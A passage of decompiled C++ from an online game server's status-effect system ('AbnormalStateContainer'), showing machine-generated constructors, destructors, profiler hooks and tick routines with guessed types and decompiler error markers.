(AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[77] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[66] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[61] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[34] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[86] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[87] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[88] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[90] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[91] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[92] = (AbnormalStateContainer::SubAbnormalStateActor *)v1; v1->ac_SubStateList[89] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAGICNOTATTACKONEUSE; v1->ac_SubStateList[93] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BURNPAINME; v1->ac_SubStateList[94] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BURNPAINFOE; v1->ac_SubStateList[95] = &v1->ac_AIRBORNE; v1->ac_SubStateList[96] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_BOMBSHOT; v1->ac_SubStateList[97] = &v1->ac_CROSSDROP; v1->ac_SubStateList[98] = &v1->ac_METEOR; v1->ac_SubStateList[99] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_USESPDOWN; v1->ac_SubStateList[100] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_SPDOWNRATEME; v1->ac_SubStateList[101] = &v1->ac_SPDOWNRATE; v1->ac_SubStateList[102] = &v1->ac_CRIUPRATE; v1->ac_SubStateList[103] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_UBAUP; v1->ac_SubStateList[104] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_UBADOWN; v1->ac_SubStateList[105] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_CANNOTTARGET; v1->ac_SubStateList[106] = &v1->ac_DMGSHIELD; v1->ac_SubStateList[107] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_HIDEDAMAGE; v1->ac_SubStateList[108] = (AbnormalStateContainer::SubAbnormalStateActor *)&v1->ac_MAGICFIELD; v3 = 0; do { if ( !*(_DWORD *)v2 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::ActorCluster::ActorCluster : Buffer not full", v3); ShineExit("AbnormalStateContainer::ActorCluster::ActorCluster"); } ++v3; v2 += 4; } while ( v3 < 109 ); } // 631398: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); // 6313E0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateMaxHP___vftable_)(); // 631428: using guessed type int (*AbnormalStateContainer__SubAbnormalStateFear___vftable_)(); // 631470: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorPoison___vftable_)(); // 6314B8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorDisease___vftable_)(); // 631500: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHPHeal___vftable_)(); // 631548: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSPHeal___vftable_)(); // 631590: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHPSPHeal___vftable_)(); // 6315D8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorShield___vftable_)(); // 631620: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorManaShield___vftable_)(); // 631668: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorPartyRecharge___vftable_)(); // 6316B0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSelfRevive___vftable_)(); // 6316F8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorRangeIntercept___vftable_)(); // 631740: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorLastDmgRatio___vftable_)(); // 631788: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorLastDmgRatio_DefSide___vftable_)(); // 6317D0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActerTimeAttack___vftable_)(); // 631818: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorCastDelay___vftable_)(); // 631860: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorIgnoreCoolTime___vftable_)(); // 6318A8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSilence___vftable_)(); // 631CF8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorSilencetoone___vftable_)(); // 631D40: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorAreaDamage___vftable_)(); // 631E68: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorDetachProcess___vftable_)(); // 631EF0: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorBomb___vftable_)(); // 631F38: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorUseSPDown___vftable_)(); // 631F80: using guessed type int (*AbnormalStateContainer__SubAbnormalStateCannotTarget___vftable_)(); // 631FC8: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorMagicField___vftable_)(); // 632010: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActorHideDamage___vftable_)(); // 632090: using guessed type int (*AbnormalStateContainer__SubAbnormalStateCaptivate___vftable_)(); //----- (004051D0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::ActorCluster::_ActorCluster(AbnormalStateContainer::ActorCluster *this) { this->ac_MAGICFIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_HIDEDAMAGE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DMGSHIELD.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CANNOTTARGET.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_UBADOWN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_UBAUP.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRIUPRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SPDOWNRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SPDOWNRATEME.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_USESPDOWN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_METEOR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CROSSDROP.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BOMBSHOT.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_AIRBORNE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BURNPAINFOE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BURNPAINME.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DETACHPROCESS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GTI.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TIMEATTACK.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE_BYDEF.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TOTALDAMAGERATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MARATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_FITBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BURN.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHPSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_GUILDBUFACL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSECRITICAL.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEWC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEDEX.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETB.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEAC.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSETH.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSEMR.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCMINUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_QUESTSTUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONSPHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXSPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEFAULT.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CRITICALRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_REGIST.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CURSE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DISEASE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_POISON.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAGICNOTATTACKONEUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAGICATTACKNOUSE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_COOLTIMEREMOVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CASTINGTIMEPLUS.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_CONHEAL.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->AC_CAPTIVATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_FEAR.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DOTDAMAGE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADLYBLESSING.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLIND.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_HIDE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_RANGESHIELDCOUNTER.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SELFREVIVE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEADHPSPRECOVRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXSPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAXHPRATE.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ENTANGLE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_BLOODING.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STUN.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ATKSPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MOVESPEED.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_SHIELDACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MANASHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DAMAGESHIELD.baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MENPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_MAPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_INTPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_THPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_TBPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DEXPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_ACPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_WCPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRPLUS.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_STRRATE.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; this->ac_DefaultSubStateActor.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; } // 631398: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); //----- (004053B0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 v1 = this; Metronome::Metronome(&this->aeo_Tick.nextaction); SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(&v1->aeo_SetItemEffect); v1->aeo_Index = 609; *(_DWORD *)&v1->aeo_PartyEnchant[4]._bf0 = 0; *(_DWORD *)&v1->gap31[7] = 0; *(_DWORD *)&v1->gap31[15] = 0; *(_DWORD *)&v1->gap31[23] = 0; *(_DWORD *)&v1->gap31[31] = 0; v1->gap9[7] = 0; *(_DWORD *)&v1->gap9[11] = 0; } //----- (00405420) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_CompName(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 hnd, AbnormalStateContainer::AbstateElementInObject *key) { AbnormalStateContainer::AbstateElementInObject *v4; // edi@1 int v5; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = key->aeo_Index - v4->aeo_Index; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_CompName"); return v5; } //----- (00405490) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(AbnormalStateContainer::AbstateListInObject *this) { void *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->asl_List.l_Array; this->asl_List.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); _eh_vector_destructor_iterator_( v1, 0x6Cu, 30, (void (__thiscall *)(void *))AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject); } // 632070: using guessed type int (__stdcall *List_AbnormalStateContainer__AbstateElementInObject____vftable_[3])(__int16 hnd); //----- (004054D0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindSubState(AbnormalStateContainer::AbstateElementInObject *this, int sub, char *substate) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 int v4; // eax@1 char result; // al@2 int v6; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&unk_6BD318, substate); if ( v4 == -1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 0; } else { v4 = (unsigned __int16)v4; if ( unk_6BC990 >= (unsigned int)(unsigned __int16)v4 ) { v6 = unk_6BC988 + 728 * v4; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", v4); v6 = 0; } *(_DWORD *)&v3->aeo_PartyEnchant[8 * sub + 4]._bf0 = v6; if ( v6 ) { *(_DWORD *)&v3->aeo_PartyEnchant[8 * sub]._bf0 = *(_DWORD *)(*(_DWORD *)v6 + 34); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 0; } } return result; } //----- (00405610) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(AbnormalStateContainer::AbstateElementInObject *this) { unsigned __int16 v1; // ax@1 AbnormalStateContainer::AbnormalStateElement **v2; // eax@2 AbnormalStateContainer::AbnormalStateElement *result; // eax@3 v1 = LOWORD(this->aeo_Index); if ( v1 < unk_6BC814 && (v2 = *(AbnormalStateContainer::AbnormalStateElement ***)(unk_6BC818 + 12 * v1)) != 0 ) result = *v2; else result = 0; return result; } //----- (00405640) -------------------------------------------------------- #error "405640: undefined or illegal type '#615' (funcsize=34)" //----- (004056A0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_Routine(AbnormalStateContainer::AbstateListInObject *this, #615 *me) { AbnormalStateContainer::AbstateListInObject *v2; // esi@1 char v3; // al@1 char v4; // bl@1 int (__stdcall **asr)(int, __int16); // [sp+Ch] [bp-14h]@1 #615 *v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; asr = (int (__stdcall **)(int, __int16))&ListIter_ObjectAbStateRoutine::_vftable_; v7 = me; LOBYTE(v8) = 1; v3 = List::l_4AllInList((List *)&v2->asl_List, (ListIteratorDefault *)&asr); --funcallanalizer.fca_stackpoint; v4 = v3; asr = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Routine"); return v4; } // 6324B4: using guessed type int (__stdcall *ListIter_ObjectAbStateRoutine___vftable_)(int ele, char isterminated); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00405770) -------------------------------------------------------- #error "405770: undefined or illegal type '#615' (funcsize=84)" //----- (004058A0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateTickRoutine *this, #615 *a2, unsigned __int16 handle, AbnormalStateContainer::AbstateElementInObject *aeo, char *isterminated) { AbnormalStateContainer::AbnormalStateElement *v5; // edi@1 char result; // al@2 unsigned int v7; // eax@3 char v8; // bl@5 v5 = (AbnormalStateContainer::AbnormalStateElement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AbnormalStateContainer::AbnormalStateElement::ase_Routine(v5, a2, handle, aeo, isterminated); if ( *isterminated ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); result = 1; } else { v7 = aeo->aeo_Tick.nextaction.m_NextTick; if ( clockwatch.cw_CurrTick > v7 && (aeo->aeo_Tick.nextaction.m_NextTick = v7 + aeo->aeo_Tick.nextaction.m_TickInterval, *((_DWORD *)&abstateidentarray + 3 * aeo->aeo_Index)) ) v8 = (*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * aeo->aeo_Index) + 12))( aeo, a2, aeo->aeo_Index); else v8 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); result = v8; } return result; } //----- (004059D0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateEachTickRoutine *this, #615 *a2, unsigned __int16 handle, AbnormalStateContainer::AbstateElementInObject *aeo, char *isterminated) { AbnormalStateContainer::AbnormalStateElement *v5; // edi@1 char result; // al@2 char v7; // al@3 char v8; // bl@3 v5 = (AbnormalStateContainer::AbnormalStateElement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AbnormalStateContainer::AbnormalStateElement::ase_Routine(v5, a2, handle, aeo, isterminated); if ( *isterminated ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); result = 1; } else { v7 = (*(int 